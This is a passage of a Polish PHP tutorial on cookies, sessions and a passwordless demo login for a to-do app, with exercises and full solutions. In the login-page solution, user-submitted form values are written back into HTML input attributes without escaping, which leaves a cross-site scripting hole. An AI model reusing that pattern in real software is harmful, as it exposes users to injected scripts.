<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code></strong> — przy pierwszej wizycie ciasteczka nie ma: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined array key</code>.</li>



<li><strong>Usuwanie ciasteczka z inną ścieżką</strong>, niż zostało utworzone — przeglądarka uzna je za inne ciasteczko i stare zostanie.</li>



<li><strong>Zapominanie o <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> po przekierowaniu</strong> — skrypt działa dalej, choć użytkownik miał zostać wyrzucony na stronę logowania (Eksperyment 6).</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — dwa liczniki</h1>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Zastąp zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> kodem, który pokazuje dwa liczniki odwiedzin tej strony:</p>



<ol class="wp-block-list">
<li><strong>„Odwiedziny w tej sesji”</strong> — licznik w <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> (klucz <code class="prettyprint lang-sql" style="font-size: 0.85em;">wizyty</code>),</li>



<li><strong>„Wszystkie Twoje odwiedziny”</strong> — licznik w ciasteczku <code class="prettyprint lang-sql" style="font-size: 0.85em;">wizyty</code>, ważnym <strong>7 dni</strong>. Wartość z ciasteczka przed użyciem sprawdź regexem <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code> (znasz go z Lekcji 13) — gdy nie pasuje albo ciasteczka nie ma, licz od zera,</li>



<li>przycisk <strong>„Zakończ sesję”</strong> (formularz POST do <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>), który czyści dane sesji i przekierowuje z powrotem na <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (wzorzec PRG z Lekcji 13). Żądanie POST <strong>nie liczy się</strong> jako odwiedziny.</li>
</ol>



<p class="wp-block-paragraph"><strong>Efekt:</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Sesja</th><th>Wszystkie</th></tr></thead><tbody><tr><td>pierwsze wejście</td><td>1</td><td>1</td></tr><tr><td>F5, F5</td><td>3</td><td>3</td></tr><tr><td>„Zakończ sesję”</td><td>1</td><td>4</td></tr><tr><td>nowe okno <strong>incognito</strong> (prywatne)</td><td>1</td><td>1 — to osobny „słoik” na ciasteczka</td></tr><tr><td>zwykłe okno: zamknij <strong>całą</strong> przeglądarkę i otwórz stronę ponownie</td><td>1 (nowa sesja)</td><td>5</td></tr><tr><td>w F12 zmień ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">wizyty</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code> i odśwież</td><td>+1</td><td>1</td></tr><tr><td>w F12 zmień ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">wizyty</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">500</code> i odśwież</td><td>+1</td><td>501</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Jak sprawdzić:</strong> każdy wiersz tabeli. Przy pierwszym wejściu <strong>nie może być żadnego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning</code></strong>. Ostatni wiersz pokazuje, dlaczego licznikowi z ciasteczka nie można ufać — sprawdzenie regexem chroni tylko przed bzdurą, nie przed oszustwem.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> jako pierwsza instrukcja. Potem obsługa POST (wyczyść, przekieruj, <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>) — <strong>zanim</strong> zaczniesz liczyć. Dla sesji: weź dotychczasową wartość przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> (brak = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>), dodaj 1, zapisz z powrotem. Dla ciasteczka: to samo, ale z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>, sprawdzeniem regexem i <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> — a na stronie wypisz <strong>zmienną</strong>, nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['wizyty']</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    // ... wyczyść dane sesji, przekieruj, zakończ ...
}

// licznik w sesji
$wizytySesji = ($_SESSION&#91;'wizyty'] ?? 0) + 1;
// ... zapisz do sesji ...

// licznik w cookie
$wizytyCookie = $_COOKIE&#91;'wizyty'] ?? '0';

if (/* nie same cyfry */) {
    $wizytyCookie = '0';
}

// ... +1, setcookie() na 7 dni ...
?&gt;
&lt;!-- HTML: dwa akapity z licznikami i formularz z przyciskiem --&gt;</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $_SESSION = &#91;];
    header('Location: brudnopis.php');
    exit;
}

// licznik w sesji
$wizytySesji = ($_SESSION&#91;'wizyty'] ?? 0) + 1;
$_SESSION&#91;'wizyty'] = $wizytySesji;

// licznik w cookie
$wizytyCookie = $_COOKIE&#91;'wizyty'] ?? '0';

if (!preg_match('/^\d+$/', $wizytyCookie)) {
    $wizytyCookie = '0';
}

$wizytyCookie = (int) $wizytyCookie + 1;
setcookie('wizyty', $wizytyCookie, time() + 60 * 60 * 24 * 7);
?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Brudnopis — liczniki&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;p&gt;Odwiedziny w tej sesji: &lt;strong&gt;&lt;?= $wizytySesji; ?&gt;&lt;/strong&gt;&lt;/p&gt;
    &lt;p&gt;Wszystkie Twoje odwiedziny (cookie, 7 dni): &lt;strong&gt;&lt;?= $wizytyCookie; ?&gt;&lt;/strong&gt;&lt;/p&gt;

    &lt;form method="post" action="brudnopis.php"&gt;
        &lt;button type="submit"&gt;Zakończ sesję&lt;/button&gt;
    &lt;/form&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
</details>



<p class="wp-block-paragraph">Dlaczego w sesji nie ma sprawdzania regexem? Bo wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['wizyty']</code> zapisał <strong>nasz kod</strong> i użytkownik nie ma do niej dostępu — to zawsze <code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code>. Wartość ciasteczka przysłała przeglądarka — mogła być dowolna.</p>



<p class="wp-block-paragraph">Dlaczego „Zakończ sesję” to POST, a nie link <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php?reset=1</code>? Reguła z Lekcji 13: <strong>GET czytamy, POST zmieniamy</strong>. Czyszczenie sesji zmienia stan — tak samo będzie z wylogowaniem w TaskQuest.</p>



<h1 class="wp-block-heading">5. Włączamy sesje do TaskQuest — krok po kroku</h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od tego miejsca kończymy pracę w brudnopisie (zostaw pliki — przydadzą się w testach) i zmieniamy pliki prawdziwej aplikacji w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>. Kolejność jak w Lekcji 13: najpierw funkcje (logika bez HTML), potem nowe strony, na końcu podłączenie istniejących stron.</p>



<h2 class="wp-block-heading">Krok 1 — SAMODZIELNIE: funkcje logowania i sesji</h2>



<h3 class="wp-block-heading">1a — <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></h3>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code></strong> — na końcu pliku, pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>.</p>



<p class="wp-block-paragraph">Formularz logowania będzie miał dwa pola: <strong>login</strong> (identyfikator, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>) i <strong>imię</strong> (jak aplikacja ma się do nas zwracać, np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code>) — to dwie różne informacje, tak jak dotąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code>. Napisz funkcję:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania(string $login, string $imieUzytkownika): array
</code></pre>



<p class="wp-block-paragraph">Dostaje <strong>oczyszczone</strong> teksty z formularza i zwraca tablicę komunikatów (pusta = dane poprawne) — dokładnie jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> z Lekcji 13. Nie rzuca wyjątków, niczego nie wyświetla. Reguły:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Pole</th><th>Warunek</th><th>Komunikat</th></tr></thead><tbody><tr><td>login</td><td>nie spełnia zasad <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.</code></td></tr><tr><td>imię</td><td>puste</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię jest wymagane.</code></td></tr><tr><td>imię</td><td>(gdy niepuste) dłuższe niż 30 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Imię może mieć najwyżej 30 znaków.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Nie przepisuj regexa loginu — <strong>wywołaj istniejącą <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code></strong>. Reguła loginu jest w aplikacji w jednym miejscu i tak ma zostać.</p>



<h3 class="wp-block-heading">1b — <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code></h3>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>.</strong> Tak jak inne pliki z funkcjami: samo PHP, bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>. Cztery funkcje:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Funkcja</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany(): bool</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>, gdy w sesji jest klucz <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania(): void</code></td><td>gdy użytkownik <strong>nie</strong> jest zalogowany — przekierowuje na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i kończy skrypt</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">ustawKomunikat(string $komunikat): void</code></td><td>zapisuje komunikat w sesji pod kluczem <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikat</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat(): string</code></td><td>zwraca komunikat z sesji <strong>i usuwa go z sesji</strong>; gdy komunikatu nie ma — zwraca pusty tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Dwie nowości:</p>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code> działa wewnątrz funkcji bez przekazywania jej w parametrze.</strong> Zwykłe zmienne spoza funkcji są w niej niewidoczne (dlatego dotąd wszystko przekazywaliśmy w parametrach), ale <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code> to tablice <strong>superglobalne</strong> — dostępne wszędzie. (Dokładniej o nich w Lekcji 21.)</li>



<li>Funkcje korzystają z sesji, ale jej <strong>nie uruchamiają</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> wywołuje każda strona na samej górze — funkcje zakładają, że to już się stało.</li>
</ul>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (brudnopis):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';

var_dump(walidujDaneLogowania('Kama_2026', 'Kama'));
var_dump(walidujDaneLogowania('Ka', ''));

ustawKomunikat('Test');
var_dump(pobierzKomunikat());
var_dump(pobierzKomunikat());
var_dump(czyZalogowany());
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: pusta tablica; tablica z dwoma komunikatami (login, imię wymagane); <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(4) "Test"</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(0) ""</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>. Brak ostrzeżeń. (Pełne testy — w sekcji 7.)</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code> ma taki sam szkielet jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = [];</code>, kilka <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $bledy;</code>. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzKomunikat()</code> kolejność ma znaczenie: najpierw zapamiętaj komunikat w zmiennej (przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code>), potem usuń go z sesji, na końcu zwróć zmienną. <code class="prettyprint lang-sql" style="font-size: 0.85em;">unset()</code> na kluczu, którego nie ma, nie powoduje błędu. <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code> robi to samo co przekierowanie w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> — tylko pod warunkiem.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function czyZalogowany(): bool
{
    return isset(/* ... */);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        // ... przekierowanie na zaloguj.php i koniec skryptu ...
    }
}


function pobierzKomunikat(): string
{
    $komunikat = /* ... ?? '' */;
    // ... usuń z sesji ...

    return $komunikat;
}</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph"><strong>a)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> — na końcu pliku:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy&#91;] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) &gt; 30) {
        $bledy&#91;] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}
</code></pre>



<p class="wp-block-paragraph"><strong>b)</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — cały nowy plik:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION&#91;'komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION&#91;'komunikat'] ?? '';
    unset($_SESSION&#91;'komunikat']);

    return $komunikat;
}
</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> w funkcji kończy <strong>cały skrypt</strong>, nie tylko funkcję (tym różni się od <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code>). Dzięki temu strona, która wywoła <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>, nie wykona dla niezalogowanego ani jednej linii więcej.</p>
</details>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: strona <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></h2>



<p class="wp-block-paragraph"><strong>Nowy plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></strong> — w katalogu głównym <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/</code>. Budowa jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (logika na górze, prezentacja na dole), z trzema różnicami:</p>



<ol class="wp-block-list">
<li><strong>Pierwsza instrukcja pliku: <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code></strong> — przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>.</li>



<li>Dołącz tylko to, czego strona używa: <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_tekstowe.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_sesji.php</code>.</li>



<li><strong>Zalogowany użytkownik nie potrzebuje formularza logowania</strong> — jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code>, od razu przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ol>



<p class="wp-block-paragraph">Dalej znany schemat:</p>



<ul class="wp-block-list">
<li>wartości początkowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login = ''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika = ''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bledy = []</code>,</li>



<li>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if (POST)</code>: odczyt pól <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">??</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">trim()</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>,</li>



<li>gdy nie ma błędów: zapisz login i imię w sesji (klucze <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>), przekieruj na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>,</li>



<li>prezentacja: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony = 'Logowanie — TaskQuest'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Logowanie&lt;/h2&gt;</code>, jedno zdanie o tym, że to wersja demonstracyjna bez hasła, ramka z błędami (jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>), formularz POST do <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> (text, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="20"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>), <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code> (text, <code class="prettyprint lang-sql" style="font-size: 0.85em;">maxlength="30"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code>), przycisk „Wejdź do TaskQuest”; formularz zachowuje wpisane dane; <code class="prettyprint lang-sql" style="font-size: 0.85em;">footer.php</code>.</li>
</ul>



<p class="wp-block-paragraph">Jedna nowa linia, którą dopiszemy <strong>tuż przed</strong> zapisaniem danych do sesji:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true);</code></pre>



<p class="wp-block-paragraph">Zmienia identyfikator sesji na nowy (a <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code> usuwa stary plik sesji). Po co? Numerek z szatni sprzed logowania mógł „wyciec” — np. ktoś podsunął użytkownikowi link z własnym identyfikatorem. Nowy numerek po zalogowaniu sprawia, że stary jest bezwartościowy. To ochrona przed atakiem <em>session fixation</em> — dokładniej w Lekcji 22. Zapamiętaj regułę: <strong>zmiana uprawnień (logowanie) = nowy identyfikator sesji.</strong></p>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form&gt;</code> na czas sprawdzania):</p>



<ul class="wp-block-list">
<li>pusty formularz → dwa komunikaty,</li>



<li>login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ka</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code> → jeden komunikat (login); pola zachowują wpisane dane,</li>



<li>login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code> → przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (strona wygląda na razie jak wcześniej — podłączymy ją w Kroku 3); w F12 jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, a w <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code> plik sesji z <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie</code>,</li>



<li>ponowne wejście na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> → od razu przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ul>



<p class="wp-block-paragraph">Na koniec usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">To naprawdę jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> w mniejszej wersji — porównaj oba pliki. Zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> masz dwie linie zapisu do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code>. Do sprawdzenia „czy już zalogowany” masz gotową funkcję z Kroku 1.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = &#91;];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $imieUzytkownika = trim($_POST&#91;'imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION&#91;'login'] = $login;
        $_SESSION&#91;'imie'] = $imieUzytkownika;

        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Logowanie&lt;/h2&gt;
        &lt;p&gt;Wersja demonstracyjna: podaj login i imię — bez hasła.&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="zaloguj.php"&gt;
            &lt;label for="login"&gt;Login *&lt;/label&gt;
            &lt;input type="text" id="login" name="login" maxlength="20" required value="&lt;?= $login; ?&gt;"&gt;

            &lt;label for="imie"&gt;Imię *&lt;/label&gt;
            &lt;input type="text" id="imie" name="imie" maxlength="30" required value="&lt;?= $imieUzytkownika; ?&gt;"&gt;

            &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<p class="wp-block-paragraph">Zwróć uwagę: w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> nazwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$login</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> znaczą „to, co wpisano w formularzu” — tak jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytulZadania</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>. Do sesji trafiają dopiero <strong>po walidacji</strong>.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: TaskQuest tylko dla zalogowanych</h2>



<p class="wp-block-paragraph">Teraz podłączamy sesję do istniejących stron.</p>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>:</strong></p>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start();</code> jako pierwsza instrukcja (zaraz pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code>).</li>



<li>Dołącz <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> (na końcu listy <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code>).</li>



<li>Pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> nowy blok <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- tylko dla zalogowanych ---</code> z wywołaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>.</li>



<li>W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane użytkownika ---</code> zamiast tekstów na sztywno — wartości z sesji.</li>



<li>W prezentacji usuń blok z Lekcji 8, który wypisuje „Login poprawny: &#8230;” / „Login jest niepoprawny.”, a w jego miejsce wstaw <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;p&gt;Zalogowano jako &lt;strong&gt;...&lt;/strong&gt;&lt;/p&gt;</code>.</li>
</ol>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>:</strong> punkty 1–3 (bez danych użytkownika — ta strona ich nie wyświetla).</p>



